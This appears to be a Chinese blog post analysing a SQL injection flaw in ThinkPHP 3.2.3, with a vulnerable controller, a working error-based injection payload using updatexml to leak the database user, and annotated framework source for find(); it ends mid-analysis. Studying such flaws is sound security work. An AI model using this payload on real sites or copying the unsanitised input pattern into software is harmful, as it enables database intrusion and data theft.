thinkPHP3.2.3中sql注入漏洞
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$data = M('user')->find(I('GET.id'));
var_dump($data);
}
}?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));
I和M方法都没有什么问题,真正的问题在于
public function find($options=array()) {
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
$resultSet = $this->db->select($options);//重要的一步
甘公网安备62030002000100